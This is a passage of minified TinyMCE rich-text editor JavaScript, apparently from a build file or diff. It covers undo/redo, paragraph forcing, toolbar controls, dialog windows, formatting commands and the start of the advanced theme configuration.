e=this,c=e.editor,b=b,d;if(e.typing){e.add();e.typing=0}if(e.index>0){if(e.index==e.data.length&&e.index>1){d=e.index;e.typing=0;if(!e.add()){e.index=d}--e.index}b=e.data[--e.index];c.setContent(b.content,{format:"raw"});c.selection.moveToBookmark(b.bookmark);e.onUndo.dispatch(e,b)}return b},redo:function(){var d=this,c=d.editor,b=null;if(d.index<d.data.length-1){b=d.data[++d.index];c.setContent(b.content,{format:"raw"});c.selection.moveToBookmark(b.bookmark);d.onRedo.dispatch(d,b)}return b},clear:function(){var b=this;b.data=[];b.index=0;b.typing=0;b.add({initial:true})},hasUndo:function(){return this.index!=0||this.typing},hasRedo:function(){return this.index<this.data.length-1}})})(tinymce);(function(e){var b,d,a,c,f,h;b=e.dom.Event;d=e.isIE;a=e.isGecko;c=e.isOpera;f=e.each;h=e.extend;function g(i){i=i.innerHTML;i=i.replace(/<(img|hr|table|input|select|textarea)[ \>]/gi,"-");i=i.replace(/<[^>]+>/g,"");return i.replace(/[ \t\r\n]+/g,"")==""}e.create("tinymce.ForceBlocks",{ForceBlocks:function(j){var k=this,l=j.settings,m;k.editor=j;k.dom=j.dom;m=(l.forced_root_block||"p").toLowerCase();l.element=m.toUpperCase();j.onPreInit.add(k.setup,k);k.reOpera=new RegExp("(\\u00a0|&#160;|&nbsp;)</"+m+">","gi");k.rePadd=new RegExp("<p( )([^>]+)><\\/p>|<p( )([^>]+)\\/>|<p( )([^>]+)>\\s+<\\/p>|<p><\\/p>|<p\\/>|<p>\\s+<\\/p>".replace(/p/g,m),"gi");k.reNbsp2BR1=new RegExp("<p( )([^>]+)>[\\s\\u00a0]+<\\/p>|<p>[\\s\\u00a0]+<\\/p>".replace(/p/g,m),"gi");k.reNbsp2BR2=new RegExp("<%p()([^>]+)>(&nbsp;|&#160;)<\\/%p>|<%p>(&nbsp;|&#160;)<\\/%p>".replace(/%p/g,m),"gi");k.reBR2Nbsp=new RegExp("<p( )([^>]+)>\\s*<br \\/>\\s*<\\/p>|<p>\\s*<br \\/>\\s*<\\/p>".replace(/p/g,m),"gi");function i(n,p){if(c){p.content=p.content.replace(k.reOpera,"</"+m+">")}p.content=p.content.replace(k.rePadd,"<"+m+"$1$2$3$4$5$6>\u00a0</"+m+">");if(!d&&!c&&p.set){p.content=p.content.replace(k.reNbsp2BR1,"<"+m+"$1$2><br /></"+m+">");p.content=p.content.replace(k.reNbsp2BR2,"<"+m+"$1$2><br /></"+m+">")}else{p.content=p.content.replace(k.reBR2Nbsp,"<"+m+"$1$2>\u00a0</"+m+">")}}j.onBeforeSetContent.add(i);j.onPostProcess.add(i);if(l.forced_root_block){j.onInit.add(k.forceRoots,k);j.onSetContent.add(k.forceRoots,k);j.onBeforeGetContent.add(k.forceRoots,k)}},setup:function(){var j=this,i=j.editor,k=i.settings;if(k.forced_root_block){i.onKeyUp.add(j.forceRoots,j);i.onPreProcess.add(j.forceRoots,j)}if(k.force_br_newlines){if(d){i.onKeyPress.add(function(m,p){var q,o=m.selection;if(p.keyCode==13&&o.getNode().nodeName!="LI"){o.setContent('<br id="__" /> ',{format:"raw"});q=m.dom.get("__");q.removeAttribute("id");o.select(q);o.collapse();return b.cancel(p)}})}return}if(!d&&k.force_p_newlines){i.onKeyPress.add(function(m,n){if(n.keyCode==13&&!n.shiftKey){if(!j.insertPara(n)){b.cancel(n)}}});if(a){i.onKeyDown.add(function(m,n){if((n.keyCode==8||n.keyCode==46)&&!n.shiftKey){j.backspaceDelete(n,n.keyCode==8)}})}}function l(n,m){var o=i.dom.create(m);f(n.attributes,function(p){if(p.specified&&p.nodeValue){o.setAttribute(p.nodeName.toLowerCase(),p.nodeValue)}});f(n.childNodes,function(p){o.appendChild(p.cloneNode(true))});n.parentNode.replaceChild(o,n);return o}i.onPreProcess.add(function(m,n){f(m.dom.select("p,h1,h2,h3,h4,h5,h6,div",n.node),function(o){if(g(o)){f(m.dom.select("span,em,strong,b,i",n.node),function(p){if(!p.hasChildNodes()){p.appendChild(m.getDoc().createTextNode("\u00a0"));return false}})}})});if(d){if(k.element!="P"){i.onKeyPress.add(function(m,n){j.lastElm=m.selection.getNode().nodeName});i.onKeyUp.add(function(o,q){var s,p=o.selection,r=p.getNode(),m=o.getBody();if(m.childNodes.length===1&&r.nodeName=="P"){r=l(r,k.element);p.select(r);p.collapse();o.nodeChanged()}else{if(q.keyCode==13&&!q.shiftKey&&j.lastElm!="P"){s=o.dom.getParent(r,"p");if(s){l(s,k.element);o.nodeChanged()}}}})}}},find:function(o,k,l){var j=this.editor,i=j.getDoc().createTreeWalker(o,4,null,false),m=-1;while(o=i.nextNode()){m++;if(k==0&&o==l){return m}if(k==1&&m==l){return o}}return -1},forceRoots:function(p,D){var u=this,p=u.editor,H=p.getBody(),E=p.getDoc(),K=p.selection,v=K.getSel(),w=K.getRng(),I=-2,o,B,j,k,F=-16777215;var G,l,J,A,x,m=H.childNodes,z,y,q;for(z=m.length-1;z>=0;z--){G=m[z];if(G.nodeType==3||(!u.dom.isBlock(G)&&G.nodeType!=8)){if(!l){if(G.nodeType!=3||/[^\s]/g.test(G.nodeValue)){if(I==-2&&w){if(!d){if(w.startContainer.nodeType==1&&(y=w.startContainer.childNodes[w.startOffset])&&y.nodeType==1){q=y.getAttribute("id");y.setAttribute("id","__mce")}else{if(p.dom.getParent(w.startContainer,function(i){return i===H})){B=w.startOffset;j=w.endOffset;I=u.find(H,0,w.startContainer);o=u.find(H,0,w.endContainer)}}}else{k=E.body.createTextRange();k.moveToElementText(H);k.collapse(1);J=k.move("character",F)*-1;k=w.duplicate();k.collapse(1);A=k.move("character",F)*-1;k=w.duplicate();k.collapse(0);x=(k.move("character",F)*-1)-A;I=A-J;o=x}}l=p.dom.create(p.settings.forced_root_block);l.appendChild(G.cloneNode(1));G.parentNode.replaceChild(l,G)}}else{if(l.hasChildNodes()){l.insertBefore(G,l.firstChild)}else{l.appendChild(G)}}}else{l=null}}if(I!=-2){if(!d){l=H.getElementsByTagName(p.settings.element)[0];w=E.createRange();if(I!=-1){w.setStart(u.find(H,1,I),B)}else{w.setStart(l,0)}if(o!=-1){w.setEnd(u.find(H,1,o),j)}else{w.setEnd(l,0)}if(v){v.removeAllRanges();v.addRange(w)}}else{try{w=v.createRange();w.moveToElementText(H);w.collapse(1);w.moveStart("character",I);w.moveEnd("character",o);w.select()}catch(C){}}}else{if(!d&&(y=p.dom.get("__mce"))){if(q){y.setAttribute("id",q)}else{y.removeAttribute("id")}w=E.createRange();w.setStartBefore(y);w.setEndBefore(y);K.setRng(w)}}},getParentBlock:function(j){var i=this.dom;return i.getParent(j,i.isBlock)},insertPara:function(M){var A=this,o=A.editor,I=o.dom,N=o.getDoc(),R=o.settings,B=o.selection.getSel(),C=B.getRangeAt(0),Q=N.body;var F,G,D,K,J,l,j,m,q,i,x,P,k,p,E,H=I.getViewPort(o.getWin()),w,z,v;F=N.createRange();F.setStart(B.anchorNode,B.anchorOffset);F.collapse(true);G=N.createRange();G.setStart(B.focusNode,B.focusOffset);G.collapse(true);D=F.compareBoundaryPoints(F.START_TO_END,G)<0;K=D?B.anchorNode:B.focusNode;J=D?B.anchorOffset:B.focusOffset;l=D?B.focusNode:B.anchorNode;j=D?B.focusOffset:B.anchorOffset;if(K===l&&/^(TD|TH)$/.test(K.nodeName)){if(K.firstChild.nodeName=="BR"){I.remove(K.firstChild)}if(K.childNodes.length==0){o.dom.add(K,R.element,null,"<br />");P=o.dom.add(K,R.element,null,"<br />")}else{E=K.innerHTML;K.innerHTML="";o.dom.add(K,R.element,null,E);P=o.dom.add(K,R.element,null,"<br />")}C=N.createRange();C.selectNodeContents(P);C.collapse(1);o.selection.setRng(C);return false}if(K==Q&&l==Q&&Q.firstChild&&o.dom.isBlock(Q.firstChild)){K=l=K.firstChild;J=j=0;F=N.createRange();F.setStart(K,0);G=N.createRange();G.setStart(l,0)}K=K.nodeName=="HTML"?N.body:K;K=K.nodeName=="BODY"?K.firstChild:K;l=l.nodeName=="HTML"?N.body:l;l=l.nodeName=="BODY"?l.firstChild:l;m=A.getParentBlock(K);q=A.getParentBlock(l);i=m?m.nodeName:R.element;if(A.dom.getParent(m,"ol,ul,pre")){return true}if(m&&(m.nodeName=="CAPTION"||/absolute|relative|fixed/gi.test(I.getStyle(m,"position",1)))){i=R.element;m=null}if(q&&(q.nodeName=="CAPTION"||/absolute|relative|fixed/gi.test(I.getStyle(m,"position",1)))){i=R.element;q=null}if(/(TD|TABLE|TH|CAPTION)/.test(i)||(m&&i=="DIV"&&/left|right/gi.test(I.getStyle(m,"float",1)))){i=R.element;m=q=null}x=(m&&m.nodeName==i)?m.cloneNode(0):o.dom.create(i);P=(q&&q.nodeName==i)?q.cloneNode(0):o.dom.create(i);P.removeAttribute("id");if(/^(H[1-6])$/.test(i)&&K.nodeValue&&J==K.nodeValue.length){P=o.dom.create(R.element)}E=k=K;do{if(E==Q||E.nodeType==9||A.dom.isBlock(E)||/(TD|TABLE|TH|CAPTION)/.test(E.nodeName)){break}k=E}while((E=E.previousSibling?E.previousSibling:E.parentNode));E=p=l;do{if(E==Q||E.nodeType==9||A.dom.isBlock(E)||/(TD|TABLE|TH|CAPTION)/.test(E.nodeName)){break}p=E}while((E=E.nextSibling?E.nextSibling:E.parentNode));if(k.nodeName==i){F.setStart(k,0)}else{F.setStartBefore(k)}F.setEnd(K,J);x.appendChild(F.cloneContents()||N.createTextNode(""));try{G.setEndAfter(p)}catch(L){}G.setStart(l,j);P.appendChild(G.cloneContents()||N.createTextNode(""));C=N.createRange();if(!k.previousSibling&&k.parentNode.nodeName==i){C.setStartBefore(k.parentNode)}else{if(F.startContainer.nodeName==i&&F.startOffset==0){C.setStartBefore(F.startContainer)}else{C.setStart(F.startContainer,F.startOffset)}}if(!p.nextSibling&&p.parentNode.nodeName==i){C.setEndAfter(p.parentNode)}else{C.setEnd(G.endContainer,G.endOffset)}C.deleteContents();if(c){o.getWin().scrollTo(0,H.y)}if(x.firstChild&&x.firstChild.nodeName==i){x.innerHTML=x.firstChild.innerHTML}if(P.firstChild&&P.firstChild.nodeName==i){P.innerHTML=P.firstChild.innerHTML}if(g(x)){x.innerHTML="<br />"}function O(y,s){var r=[],T,S,t;y.innerHTML="";if(R.keep_styles){S=s;do{if(/^(SPAN|STRONG|B|EM|I|FONT|STRIKE|U)$/.test(S.nodeName)){T=S.cloneNode(false);I.setAttrib(T,"id","");r.push(T)}}while(S=S.parentNode)}if(r.length>0){for(t=r.length-1,T=y;t>=0;t--){T=T.appendChild(r[t])}r[0].innerHTML=c?"&nbsp;":"<br />";return r[0]}else{y.innerHTML=c?"&nbsp;":"<br />"}}if(g(P)){v=O(P,l)}if(c&&parseFloat(opera.version())<9.5){C.insertNode(x);C.insertNode(P)}else{C.insertNode(P);C.insertNode(x)}P.normalize();x.normalize();function u(r){return N.createTreeWalker(r,NodeFilter.SHOW_TEXT,null,false).nextNode()||r}C=N.createRange();C.selectNodeContents(a?u(v||P):v||P);C.collapse(1);B.removeAllRanges();B.addRange(C);w=o.dom.getPos(P).y;z=P.clientHeight;if(w<H.y||w+z>H.y+H.h){o.getWin().scrollTo(0,w<H.y?w:w-H.h+25)}return false},backspaceDelete:function(l,u){var x=this,k=x.editor,p=k.getBody(),j,m=k.selection,i=m.getRng(),o=i.startContainer,j,q,s;if(o&&k.dom.isBlock(o)&&!/^(TD|TH)$/.test(o.nodeName)&&u){if(o.childNodes.length==0||(o.childNodes.length==1&&o.firstChild.nodeName=="BR")){j=o;while((j=j.previousSibling)&&!k.dom.isBlock(j)){}if(j){if(o!=p.firstChild){q=k.dom.doc.createTreeWalker(j,NodeFilter.SHOW_TEXT,null,false);while(s=q.nextNode()){j=s}i=k.getDoc().createRange();i.setStart(j,j.nodeValue?j.nodeValue.length:0);i.setEnd(j,j.nodeValue?j.nodeValue.length:0);m.setRng(i);k.dom.remove(o)}return b.cancel(l)}}}function v(n){var r;n=n.target;if(n&&n.parentNode&&n.nodeName=="BR"&&(j=x.getParentBlock(n))){r=n.previousSibling;b.remove(p,"DOMNodeInserted",v);if(r&&r.nodeType==3&&/\s+$/.test(r.nodeValue)){return}if(n.previousSibling||n.nextSibling){k.dom.remove(n)}}}b._add(p,"DOMNodeInserted",v);window.setTimeout(function(){b._remove(p,"DOMNodeInserted",v)},1)}})})(tinymce);(function(c){var b=c.DOM,a=c.dom.Event,d=c.each,e=c.extend;c.create("tinymce.ControlManager",{ControlManager:function(f,j){var h=this,g;j=j||{};h.editor=f;h.controls={};h.onAdd=new c.util.Dispatcher(h);h.onPostRender=new c.util.Dispatcher(h);h.prefix=j.prefix||f.id+"_";h._cls={};h.onPostRender.add(function(){d(h.controls,function(i){i.postRender()})})},get:function(f){return this.controls[this.prefix+f]||this.controls[f]},setActive:function(h,f){var g=null;if(g=this.get(h)){g.setActive(f)}return g},setDisabled:function(h,f){var g=null;if(g=this.get(h)){g.setDisabled(f)}return g},add:function(g){var f=this;if(g){f.controls[g.id]=g;f.onAdd.dispatch(g,f)}return g},createControl:function(i){var h,g=this,f=g.editor;d(f.plugins,function(j){if(j.createControl){h=j.createControl(i,g);if(h){return false}}});switch(i){case"|":case"separator":return g.createSeparator()}if(!h&&f.buttons&&(h=f.buttons[i])){return g.createButton(i,h)}return g.add(h)},createDropMenu:function(f,n,h){var m=this,i=m.editor,j,g,k,l;n=e({"class":"mceDropDown",constrain:i.settings.constrain_menus},n);n["class"]=n["class"]+" "+i.getParam("skin")+"Skin";if(k=i.getParam("skin_variant")){n["class"]+=" "+i.getParam("skin")+"Skin"+k.substring(0,1).toUpperCase()+k.substring(1)}f=m.prefix+f;l=h||m._cls.dropmenu||c.ui.DropMenu;j=m.controls[f]=new l(f,n);j.onAddItem.add(function(r,q){var p=q.settings;p.title=i.getLang(p.title,p.title);if(!p.onclick){p.onclick=function(o){i.execCommand(p.cmd,p.ui||false,p.value)}}});i.onRemove.add(function(){j.destroy()});if(c.isIE){j.onShowMenu.add(function(){i.focus();g=i.selection.getBookmark(1)});j.onHideMenu.add(function(){if(g){i.selection.moveToBookmark(g);g=0}})}return m.add(j)},createListBox:function(m,i,l){var h=this,g=h.editor,j,k,f;if(h.get(m)){return null}i.title=g.translate(i.title);i.scope=i.scope||g;if(!i.onselect){i.onselect=function(n){g.execCommand(i.cmd,i.ui||false,n||i.value)}}i=e({title:i.title,"class":"mce_"+m,scope:i.scope,control_manager:h},i);m=h.prefix+m;if(g.settings.use_native_selects){k=new c.ui.NativeListBox(m,i)}else{f=l||h._cls.listbox||c.ui.ListBox;k=new f(m,i)}h.controls[m]=k;if(c.isWebKit){k.onPostRender.add(function(p,o){a.add(o,"mousedown",function(){g.bookmark=g.selection.getBookmark("simple")});a.add(o,"focus",function(){g.selection.moveToBookmark(g.bookmark);g.bookmark=null})})}if(k.hideMenu){g.onMouseDown.add(k.hideMenu,k)}return h.add(k)},createButton:function(m,i,l){var h=this,g=h.editor,j,k,f;if(h.get(m)){return null}i.title=g.translate(i.title);i.label=g.translate(i.label);i.scope=i.scope||g;if(!i.onclick&&!i.menu_button){i.onclick=function(){g.execCommand(i.cmd,i.ui||false,i.value)}}i=e({title:i.title,"class":"mce_"+m,unavailable_prefix:g.getLang("unavailable",""),scope:i.scope,control_manager:h},i);m=h.prefix+m;if(i.menu_button){f=l||h._cls.menubutton||c.ui.MenuButton;k=new f(m,i);g.onMouseDown.add(k.hideMenu,k)}else{f=h._cls.button||c.ui.Button;k=new f(m,i)}return h.add(k)},createMenuButton:function(h,f,g){f=f||{};f.menu_button=1;return this.createButton(h,f,g)},createSplitButton:function(m,i,l){var h=this,g=h.editor,j,k,f;if(h.get(m)){return null}i.title=g.translate(i.title);i.scope=i.scope||g;if(!i.onclick){i.onclick=function(n){g.execCommand(i.cmd,i.ui||false,n||i.value)}}if(!i.onselect){i.onselect=function(n){g.execCommand(i.cmd,i.ui||false,n||i.value)}}i=e({title:i.title,"class":"mce_"+m,scope:i.scope,control_manager:h},i);m=h.prefix+m;f=l||h._cls.splitbutton||c.ui.SplitButton;k=h.add(new f(m,i));g.onMouseDown.add(k.hideMenu,k);return k},createColorSplitButton:function(f,n,h){var l=this,j=l.editor,i,k,m,g;if(l.get(f)){return null}n.title=j.translate(n.title);n.scope=n.scope||j;if(!n.onclick){n.onclick=function(o){if(c.isIE){g=j.selection.getBookmark(1)}j.execCommand(n.cmd,n.ui||false,o||n.value)}}if(!n.onselect){n.onselect=function(o){j.execCommand(n.cmd,n.ui||false,o||n.value)}}n=e({title:n.title,"class":"mce_"+f,menu_class:j.getParam("skin")+"Skin",scope:n.scope,more_colors_title:j.getLang("more_colors")},n);f=l.prefix+f;m=h||l._cls.colorsplitbutton||c.ui.ColorSplitButton;k=new m(f,n);j.onMouseDown.add(k.hideMenu,k);j.onRemove.add(function(){k.destroy()});if(c.isIE){k.onShowMenu.add(function(){j.focus();g=j.selection.getBookmark(1)});k.onHideMenu.add(function(){if(g){j.selection.moveToBookmark(g);g=0}})}return l.add(k)},createToolbar:function(k,h,j){var i,g=this,f;k=g.prefix+k;f=j||g._cls.toolbar||c.ui.Toolbar;i=new f(k,h);if(g.get(k)){return null}return g.add(i)},createSeparator:function(g){var f=g||this._cls.separator||c.ui.Separator;return new f()},setControlType:function(g,f){return this._cls[g.toLowerCase()]=f},destroy:function(){d(this.controls,function(f){f.destroy()});this.controls=null}})})(tinymce);(function(d){var a=d.util.Dispatcher,e=d.each,c=d.isIE,b=d.isOpera;d.create("tinymce.WindowManager",{WindowManager:function(f){var g=this;g.editor=f;g.onOpen=new a(g);g.onClose=new a(g);g.params={};g.features={}},open:function(z,h){var v=this,k="",n,m,i=v.editor.settings.dialog_type=="modal",q,o,j,g=d.DOM.getViewPort(),r;z=z||{};h=h||{};o=b?g.w:screen.width;j=b?g.h:screen.height;z.name=z.name||"mc_"+new Date().getTime();z.width=parseInt(z.width||320);z.height=parseInt(z.height||240);z.resizable=true;z.left=z.left||parseInt(o/2)-(z.width/2);z.top=z.top||parseInt(j/2)-(z.height/2);h.inline=false;h.mce_width=z.width;h.mce_height=z.height;h.mce_auto_focus=z.auto_focus;if(i){if(c){z.center=true;z.help=false;z.dialogWidth=z.width+"px";z.dialogHeight=z.height+"px";z.scroll=z.scrollbars||false}}e(z,function(p,f){if(d.is(p,"boolean")){p=p?"yes":"no"}if(!/^(name|url)$/.test(f)){if(c&&i){k+=(k?";":"")+f+":"+p}else{k+=(k?",":"")+f+"="+p}}});v.features=z;v.params=h;v.onOpen.dispatch(v,z,h);r=z.url||z.file;r=d._addVer(r);try{if(c&&i){q=1;window.showModalDialog(r,window,k)}else{q=window.open(r,z.name,k)}}catch(l){}if(!q){alert(v.editor.getLang("popup_blocked"))}},close:function(f){f.close();this.onClose.dispatch(this)},createInstance:function(i,h,g,m,l,k){var j=d.resolve(i);return new j(h,g,m,l,k)},confirm:function(h,f,i,g){g=g||window;f.call(i||this,g.confirm(this._decode(this.editor.getLang(h,h))))},alert:function(h,f,j,g){var i=this;g=g||window;g.alert(i._decode(i.editor.getLang(h,h)));if(f){f.call(j||i)}},_decode:function(f){return d.DOM.decode(f).replace(/\\n/g,"\n")}})}(tinymce));(function(a){a.CommandManager=function(){var c={},b={},d={};function e(i,h,g,f){if(typeof(h)=="string"){h=[h]}a.each(h,function(j){i[j.toLowerCase()]={func:g,scope:f}})}a.extend(this,{add:function(h,g,f){e(c,h,g,f)},addQueryStateHandler:function(h,g,f){e(b,h,g,f)},addQueryValueHandler:function(h,g,f){e(d,h,g,f)},execCommand:function(g,j,i,h,f){if(j=c[j.toLowerCase()]){if(j.func.call(g||j.scope,i,h,f)!==false){return true}}},queryCommandValue:function(){if(cmd=d[cmd.toLowerCase()]){return cmd.func.call(scope||cmd.scope,ui,value,args)}},queryCommandState:function(){if(cmd=b[cmd.toLowerCase()]){return cmd.func.call(scope||cmd.scope,ui,value,args)}}})};a.GlobalCommands=new a.CommandManager()})(tinymce);(function(b){function a(i,d,h,m){var j,g,e,l,f;function k(p,o){do{if(p.parentNode==o){return p}p=p.parentNode}while(p)}function c(o){m(o);b.walk(o,m,"childNodes")}j=i.findCommonAncestor(d,h);e=k(d,j)||d;l=k(h,j)||h;for(g=d;g&&g!=e;g=g.parentNode){for(f=g.nextSibling;f;f=f.nextSibling){c(f)}}if(e!=l){for(g=e.nextSibling;g&&g!=l;g=g.nextSibling){c(g)}}else{c(e)}for(g=h;g&&g!=l;g=g.parentNode){for(f=g.previousSibling;f;f=f.previousSibling){c(f)}}}b.GlobalCommands.add("RemoveFormat",function(){var m=this,l=m.dom,u=m.selection,d=u.getRng(1),e=[],h,f,j,q,g,o,c,i;function k(s){var r;l.getParent(s,function(v){if(l.is(v,m.getParam("removeformat_selector"))){r=v}return l.isBlock(v)},m.getBody());return r}function p(r){if(l.is(r,m.getParam("removeformat_selector"))){e.push(r)}}function t(r){p(r);b.walk(r,p,"childNodes")}h=u.getBookmark();q=d.startContainer;o=d.endContainer;g=d.startOffset;c=d.endOffset;q=q.nodeType==1?q.childNodes[Math.min(g,q.childNodes.length-1)]:q;o=o.nodeType==1?o.childNodes[Math.min(g==c?c:c-1,o.childNodes.length-1)]:o;if(q==o){f=k(q);if(q.nodeType==3){if(f&&f.nodeType==1){i=q.splitText(g);i.splitText(c-g);l.split(f,i);u.moveToBookmark(h)}return}t(l.split(f,q)||q)}else{f=k(q);j=k(o);if(f){if(q.nodeType==3){if(g==q.nodeValue.length){q.nodeValue+="\uFEFF"}q=q.splitText(g)}}if(j){if(o.nodeType==3){o.splitText(c)}}if(f&&f==j){l.replace(l.create("span",{id:"__end"},o.cloneNode(true)),o)}if(f){f=l.split(f,q)}else{f=q}if(i=l.get("__end")){o=i;j=k(o)}if(j){j=l.split(j,o)}else{j=o}a(l,f,j,p);if(q.nodeValue=="\uFEFF"){q.nodeValue=""}t(o);t(q)}b.each(e,function(r){l.remove(r,1)});l.remove("__end",1);u.moveToBookmark(h)})})(tinymce);(function(a){a.GlobalCommands.add("mceBlockQuote",function(){var j=this,o=j.selection,f=j.dom,l,k,e,d,p,c,m,h,b;function g(i){return f.getParent(i,function(q){return q.nodeName==="BLOCKQUOTE"})}l=f.getParent(o.getStart(),f.isBlock);k=f.getParent(o.getEnd(),f.isBlock);if(p=g(l)){if(l!=k||l.childNodes.length>1||(l.childNodes.length==1&&l.firstChild.nodeName!="BR")){d=o.getBookmark()}if(g(k)){m=p.cloneNode(false);while(e=k.nextSibling){m.appendChild(e.parentNode.removeChild(e))}}if(m){f.insertAfter(m,p)}b=o.getSelectedBlocks(l,k);for(h=b.length-1;h>=0;h--){f.insertAfter(b[h],p)}if(/^\s*$/.test(p.innerHTML)){f.remove(p,1)}if(m&&/^\s*$/.test(m.innerHTML)){f.remove(m,1)}if(!d){if(!a.isIE){c=j.getDoc().createRange();c.setStart(l,0);c.setEnd(l,0);o.setRng(c)}else{o.select(l);o.collapse(0);if(f.getParent(o.getStart(),f.isBlock)!=l){c=o.getRng();c.move("character",-1);c.select()}}}else{j.selection.moveToBookmark(d)}return}if(a.isIE&&!l&&!k){j.getDoc().execCommand("Indent");e=g(o.getNode());e.style.margin=e.dir="";return}if(!l||!k){return}if(l!=k||l.childNodes.length>1||(l.childNodes.length==1&&l.firstChild.nodeName!="BR")){d=o.getBookmark()}a.each(o.getSelectedBlocks(g(o.getStart()),g(o.getEnd())),function(i){if(i.nodeName=="BLOCKQUOTE"&&!p){p=i;return}if(!p){p=f.create("blockquote");i.parentNode.insertBefore(p,i)}if(i.nodeName=="BLOCKQUOTE"&&p){e=i.firstChild;while(e){p.appendChild(e.cloneNode(true));e=e.nextSibling}f.remove(i);return}p.appendChild(f.remove(i))});if(!d){if(!a.isIE){c=j.getDoc().createRange();c.setStart(l,0);c.setEnd(l,0);o.setRng(c)}else{o.select(l);o.collapse(1)}}else{o.moveToBookmark(d)}})})(tinymce);(function(a){a.each(["Cut","Copy","Paste"],function(b){a.GlobalCommands.add(b,function(){var c=this,e=c.getDoc();try{e.execCommand(b,false,null);if(!e.queryCommandSupported(b)){throw"Error"}}catch(d){c.windowManager.alert(c.getLang("clipboard_no_support"))}})})})(tinymce);(function(a){a.GlobalCommands.add("InsertHorizontalRule",function(){if(a.isOpera){return this.getDoc().execCommand("InsertHorizontalRule",false,"")}this.selection.setContent("<hr />")})})(tinymce);(function(){var a=tinymce.GlobalCommands;a.add(["mceEndUndoLevel","mceAddUndoLevel"],function(){this.undoManager.add()});a.add("Undo",function(){var b=this;if(b.settings.custom_undo_redo){b.undoManager.undo();b.nodeChanged();return true}return false});a.add("Redo",function(){var b=this;if(b.settings.custom_undo_redo){b.undoManager.redo();b.nodeChanged();return true}return false})})();
+// advanced/editor_template.js
+(function(e){var d=e.DOM,b=e.dom.Event,h=e.extend,f=e.each,a=e.util.Cookie,g,c=e.explode;e.ThemeManager.requireLangPack("advanced");e.create("tinymce.themes.AdvancedTheme",{sizes:[8,10,12,14,18,24,36],controls:{bold:["bold_desc","Bold"],italic:["italic_desc","Italic"],underline:["underline_desc","Underline"],strikethrough:["striketrough_desc","Strikethrough"],justifyleft:["justifyleft_desc","JustifyLeft"],justifycenter:["justifycenter_desc","JustifyCenter"],justifyright:["justifyright_desc","JustifyRight"],justifyfull:["justifyfull_desc","JustifyFull"],bullist:["bullist_desc","InsertUnorderedList"],numlist:["numlist_desc","InsertOrderedList"],outdent:["outdent_desc","Outdent"],indent:["indent_desc","Indent"],cut:["cut_desc","Cut"],copy:["copy_desc","Copy"],paste:["paste_desc","Paste"],undo:["undo_desc","Undo"],redo:["redo_desc","Redo"],link:["link_desc","mceLink"],unlink:["unlink_desc","unlink"],image:["image_desc","mceImage"],cleanup:["cleanup_desc","mceCleanup"],help:["help_desc","mceHelp"],code:["code_desc","mceCodeEditor"],hr:["hr_desc","InsertHorizontalRule"],removeformat:["removeformat_desc","RemoveFormat"],sub:["sub_desc","subscript"],sup:["sup_desc","superscript"],forecolor:["forecolor_desc","ForeColor"],forecolorpicker:["forecolor_desc","mceForeColor"],backcolor:["backcolor_desc","HiliteColor"],backcolorpicker:["backcolor_desc","mceBackColor"],charmap:["charmap_desc","mceCharMap"],visualaid:["visualaid_desc","mceToggleVisualAid"],anchor:["anchor_desc","mceInsertAnchor"],newdocument:["newdocument_desc","mceNewDocument"],blockquote:["blockquote_desc","mceBlockQuote"]},stateControls:["bold","italic","underline","strikethrough","bullist","numlist","justifyleft","justifycenter","justifyright","justifyfull","sub","sup","blockquote"],init:function(j,k){var l=this,m,i,n;l.editor=j;l.url=k;l.onResolveName=new e.util.Dispatcher(this);l.settings=m=h({theme_advanced_path:true,theme_advanced_toolbar_location:"bottom",theme_advanced_buttons1:"bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,|,styleselect,formatselect",theme_advanced_buttons2:"bullist,numlist,|,outdent,indent,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code",theme_advanced_buttons3:"hr,removeformat,visualaid,|,sub,sup,|,charmap",theme_advanced_blockformats:"p,address,pre,h1,h2,h3,h4,h5,h6",theme_advanced_toolbar_align:"center",theme_advanced_fonts:"Andale Mono=andale mono,times;Arial=arial,helvetica,sans-serif;Arial Black=arial black,avant garde;Book Antiqua=book antiqua,palatino;Comic Sans MS=comic sans ms,sans-serif;Courier New=courier new,courier;Georgia=georgia,palatino;Helvetica=helvetica;Impact=impact,chicago;Symbol=symbol;Tahoma=tahoma,arial,helvetica,sans-serif;Terminal=terminal,monaco;Times New Roman=times new roman,times;Trebuchet MS=trebuchet ms,geneva;Verdana=verdana,geneva;Webdings=webdings;Wingdings=wingdings,zapf dingbats",theme_advanced_more_colors:1,theme_advanced_row_height:23,theme_advanced_resize_horizontal:1,theme_advanced_resizing_use_cookie:1,theme_advanced_font_sizes:"1,2,3,4,5,6,7",readonly:j.settings.readonly},j.settings);if(!m.font_size_style_values){m.font_size_style_values="8pt,10pt,12pt,14pt,18pt,24pt,36pt"}if(e.is(m.theme_advanced_font_sizes,"string")){m.font_size_style_values=e.explode(m.font_size_style_values);m.font_size_classes=e.explode(m.font_size_classes||"");n={};j.settings.theme_advanced_font_sizes=m.theme_advanced_font_sizes;f(j.getParam("theme_advanced_font_sizes","","hash"),function(q,p){var o;if(p==q&&q>=1&&q<=7){p=q+" ("+l.sizes[q-1]+"pt)";if(j.settings.convert_fonts_to_spans){o=m.font_size_classes[q-1];q=m.font_size_style_values[q-1]||(l.sizes[q-1]+"pt")}}if(/^\s*\./.test(q)){o=q.replace(/\./g,"")}n[p]=o?{"class":o}:{fontSize:q}});m.theme_advanced_font_sizes=n}if((i=m.theme_advanced_path_location)&&i!="none"){m.theme_advanced_statusbar_location=m.theme_advanced_path_location}if(m.theme_advanced_statusbar_location=="none"){m.theme_advanced_statusbar_location=0}j.onInit.add(function(){j.onNodeChange.add(l._nodeChanged,l);if(j.settings.content_css!==false){j.dom.loadCSS(j.baseURI.toAbsolute("themes/advanced/skins/"+j.settings.skin+"/content.css"))}});j.onSetProgressState.add(function(q,o,r){var 